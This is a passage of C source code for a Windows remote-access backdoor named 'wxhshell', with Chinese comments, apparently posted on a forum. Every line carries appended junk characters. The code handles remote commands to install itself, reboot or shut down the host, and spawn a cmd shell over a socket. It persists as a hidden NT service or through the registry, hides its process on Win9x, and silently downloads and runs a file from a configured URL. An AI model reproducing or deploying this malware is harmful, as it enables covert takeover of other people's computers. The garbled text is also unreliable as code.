  else <! *O[0s  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R$">  
  } ,fhwDqR ?  
  else { cA{,2CYc  
iE]^ 6i  
    switch(cmd[0]) { !F2JT@6  
  BtQqUk#L2  
  // 帮助 |9)y<}c5oM  
  case '?': { /~g.j1g  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); JP]-a!5Ru  
    break; g&/r =U  
  } D&6.> wt .  
  // 安装 R?:(~ X\  
  case 'i': { WVx^}_FD0  
    if(Install()) %.:]4jhk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xfqU atC  
    else b^<7@tY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vs*@)'n0}  
    break; $ \ I|6[P  
    } Fn;Gq-^7@  
  // 卸载 u TmT'u:}  
  case 'r': { q=k[]vD  
    if(Uninstall()) @[;$R@M_3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D)eRk0iC  
    else py\/m]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9n3.Ar  
    break; "@itn  
    } #aadnbf  
  // 显示 wxhshell 所在路径 $o*p#LU  
  case 'p': { G+ NTn\  
    char svExeFile[MAX_PATH]; x' 3kHw  
    strcpy(svExeFile,"\n\r"); p8z"Jn2P  
      strcat(svExeFile,ExeFile); }vW3<|z  
        send(wsh,svExeFile,strlen(svExeFile),0); NOtwgZ-  
    break; J*qo3aJjE  
    } nyPW6VQ0n  
  // 重启 pF:C   
  case 'b': { r6e!";w:U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XK yW  
    if(Boot(REBOOT)) inyS4tb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p5bM/{DP;K  
    else { dg;E,'e_ p  
    closesocket(wsh); wKy4Ic+RV  
    ExitThread(0); 2*0n#" L  
    } Q0TKM >  
    break; t\lx*_lr  
    } C,5Erb/  
  // 关机 &- ZRS/_d>  
  case 'd': { 1i$OcN?x%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `,6^eLU  
    if(Boot(SHUTDOWN)) g)iw.M2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )H1chNI)  
    else { $+HS^m  
    closesocket(wsh); i$4lBy_2  
    ExitThread(0); i-&"1D[&  
    } GC~N$!*  
    break; _2Fa .gi  
    } "QV1G'  
  // 获取shell t($z+ C<  
  case 's': { qAuq2pHA+d  
    CmdShell(wsh); ~Nl`Zmn(A|  
    closesocket(wsh); +,bgOq\aG  
    ExitThread(0); IV$2`)[A&X  
    break; (OHd} YQ  
  } )jN fQ!?/  
  // 退出 '>|5  
  case 'x': { 0mR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Uc|MfxsL  
    CloseIt(wsh); s&qr2'F+z  
    break; Px"K5c*  
    } =v/x&,Uj@6  
  // 离开 58_aI?~>>  
  case 'q': { 69/qH_Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Cl3hpqv1I  
    closesocket(wsh); =DXvt5G  
    WSACleanup(); [{9&KjI0K  
    exit(1); Z(fhH..T`  
    break; XY`2>7  
        } }sS1 p6z  
  } t8FgQ)tk  
  } 7S9Q{  
,=p.Cx'PR  
  // 提示信息 %uhhQ<zs%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,<?M/'4}G  
} jRIm_)  
  } <x2 F5$@  
L\asrdL?=  
  return; WP0{%  
} QYTwGThWR  
gedk  
// shell模块句柄 wH[}@w  
int CmdShell(SOCKET sock) pvJPMx  
{ 4Vi&Y')f  
STARTUPINFO si; k|T0Bly3P  
ZeroMemory(&si,sizeof(si)); A?8 29<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  %;9+`U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Bh,LJawE  
PROCESS_INFORMATION ProcessInfo; CiGN?1|  
char cmdline[]="cmd"; :WBl0`kW]4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~0>{PD$@  
  return 0; Ey "<hAF  
} +C !A@  
sIJ37;ZA  
// 自身启动模式 8h2!8'  
int StartFromService(void) 6Pa jBEF  
{ /aB9pD+%  
typedef struct BOp&s>hI  
{ Kv:ih=?  
  DWORD ExitStatus; +>5 "fs$Y  
  DWORD PebBaseAddress; [Pt5c6L:  
  DWORD AffinityMask; 'HV}Tr  
  DWORD BasePriority; <!vAqqljt  
  ULONG UniqueProcessId; g3%t+>$*  
  ULONG InheritedFromUniqueProcessId; ^OQ#Nz  
}   PROCESS_BASIC_INFORMATION; HiG&`:P>q  
VRoeq {  
PROCNTQSIP NtQueryInformationProcess; I -obfyije  
9D_4]'KG  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~>)GW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ASLRP  
mYk5f_}  
  HANDLE             hProcess; L$x/T3@  
  PROCESS_BASIC_INFORMATION pbi; JqH2c=}-  
mHox  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <_H0Q_/(  
  if(NULL == hInst ) return 0; xTM&SVNbL_  
3Pp*ID  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <..%@]+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]IJ.}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0r=Lilu{q  
nZN]Q9  
  if (!NtQueryInformationProcess) return 0; b\?#O}  
{R,rc!yF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n@g[VR2t  
  if(!hProcess) return 0; g m],  
4!6g[[| &J  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S-yd-MtQp  
hv .Mf.m  
  CloseHandle(hProcess); Dl/UZ@8pl  
<z)MV oa  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \{+7`4g  
if(hProcess==NULL) return 0; 5 |C;]pq  
6aQ{EO-]'=  
HMODULE hMod; r:Cad0xj;^  
char procName[255]; o<P%|>qX  
unsigned long cbNeeded; =4JVUu~Z  
3[aJ=5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7X}_yMxc  
eB$v'9S8/  
  CloseHandle(hProcess); fBd +gT\S  
)vGRfFjw_  
if(strstr(procName,"services")) return 1; // 以服务启动 F<-Pbtw  
l/rhA6kEU  
  return 0; // 注册表启动 NK#Dq&W+&  
} 7P|(j<JX6'  
rhn*k f{8  
// 主模块 <J H0 &  
int StartWxhshell(LPSTR lpCmdLine) #2HygS  
{ _9 Gy`  
  SOCKET wsl; ha8do^x  
BOOL val=TRUE; )s=z i"  
  int port=0; [>_( q|A6+  
  struct sockaddr_in door; P<4jY?.  
@fE^w^K7  
  if(wscfg.ws_autoins) Install(); 4qm5`o\hb  
& vLX  
port=atoi(lpCmdLine); >9u6@  
acGmRP9g  
if(port<=0) port=wscfg.ws_port; ? ! 1uw  
*iC t4J  
  WSADATA data; Cq(Xa-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ryn)  
]7u8m[@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Le3S;SY&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h;ShNU  
  door.sin_family = AF_INET; #JLDj(a?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s~]nsqLt9p  
  door.sin_port = htons(port); -I_lCZ{Nbi  
/d{L]*v)]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y\%}VD2k  
closesocket(wsl); 'Vrev8D  
return 1; yh0|f94m  
} quKD\hL$  
vSnb>z1  
  if(listen(wsl,2) == INVALID_SOCKET) { ?&GMp[  
closesocket(wsl); S|>Up%{n[  
return 1; c~tSt.^WX  
} .e"jnP~  
  Wxhshell(wsl);  q?^0 o\  
  WSACleanup(); Fb``&-Qm:  
|@@mq!>-  
return 0; G1nW{vce  
7K;dVB  
} v =?V{"wk!  
9nG] .@ H  
// 以NT服务方式启动 %&] }P;&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zgRP!q<9tt  
{ g-:)} 8d6  
DWORD   status = 0; 6szkE{-/?  
  DWORD   specificError = 0xfffffff; |,7J!7T(I  
SQ Fey~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; c0qv11,:t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fM|g8(TK,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m+m6"yE#_  
  serviceStatus.dwWin32ExitCode     = 0; H3c=B /+  
  serviceStatus.dwServiceSpecificExitCode = 0; <zf+Ii1:,  
  serviceStatus.dwCheckPoint       = 0; /-hF<oNQ  
  serviceStatus.dwWaitHint       = 0; )>Q 2G/@  
z^Jl4V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |O)deiJRy  
  if (hServiceStatusHandle==0) return; wrO>#`Z  
rqFs[1wr>R  
status = GetLastError(); @\D D|o67  
  if (status!=NO_ERROR) J@GfO\ o  
{ 'iVo,m[yKU  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Fkz  
    serviceStatus.dwCheckPoint       = 0; a`-hLX)~Z  
    serviceStatus.dwWaitHint       = 0; psZeu*/r  
    serviceStatus.dwWin32ExitCode     = status; {\aSEE /'  
    serviceStatus.dwServiceSpecificExitCode = specificError; uTU4Fn\$L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z M+Hb_6f  
    return; 8Wj=|Ow-q  
  } V{h@nhq  
UTTC:=F+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Jrk^J6aa  
  serviceStatus.dwCheckPoint       = 0; 7idi&h"  
  serviceStatus.dwWaitHint       = 0; HLe^|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aVP|:OAj  
} Xo@YTol  
9 <KtI7  
// 处理NT服务事件,比如:启动、停止 u!uDu,y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^@Qi&g`lr?  
{ {}pqxouE  
switch(fdwControl) IMGqJc,7  
{ }o^A^  
case SERVICE_CONTROL_STOP: S/-7Zo&w+  
  serviceStatus.dwWin32ExitCode = 0; {F :v$ K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5(|M["KK~  
  serviceStatus.dwCheckPoint   = 0; DLYZsWA,  
  serviceStatus.dwWaitHint     = 0; b.4Xn0-M  
  { DnHAm q]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F36ViN\b  
  } nuQ6X5>.=  
  return; "F"_G  
case SERVICE_CONTROL_PAUSE: u`pROd/ R5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0sd-s~;  
  break; ]zyX@=mM  
case SERVICE_CONTROL_CONTINUE: >C3NtGvy  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8},<e>q  
  break; )@qup _M@  
case SERVICE_CONTROL_INTERROGATE: !&`\ LJ=j  
  break; 9>Uq$B  
}; V+qJrZ ,i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~g1, !Wl  
} h1XMx'}B  
?{: D,{+  
// 标准应用程序主函数 C,r`I/;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +%wWSZ<#  
{ CofH}-  
xb>n&ym?  
// 获取操作系统版本 tKZ&1E  
OsIsNt=GetOsVer(); Vd +Q:L  
GetModuleFileName(NULL,ExeFile,MAX_PATH); HmExfW  
'e]HP-Y<  
  // 从命令行安装 9&%#nN4`8  
  if(strpbrk(lpCmdLine,"iI")) Install(); &$c5~9p\B  
T^$g N|  
  // 下载执行文件 %f(S'<DhC  
if(wscfg.ws_downexe) { !&`}]qQZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )4ilCS&  
  WinExec(wscfg.ws_filenam,SW_HIDE); vJRnBq+y  
} =3|pHc hJ4  
SFn 3$ rh  
if(!OsIsNt) { JoCA{Fa}  
// 如果时win9x,隐藏进程并且设置为注册表启动 d=XpO*v,[  
HideProc(); bar0{!Y"  
StartWxhshell(lpCmdLine); hOPe^e"  
} > BNw  
else o\ngR\>  
  if(StartFromService()) @P:R~m2  
  // 以服务方式启动 >5;N64]!)  
  StartServiceCtrlDispatcher(DispatchTable); > z=Ou<,  
else [ $l"-*s4  
  // 普通方式启动 ;1W6"3t-Y  
  StartWxhshell(lpCmdLine); zF5q=9 4$  
ZXsYn  
return 0; r C_d$Jv  
}
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只看该作者 1 发表于: 2006-10-10
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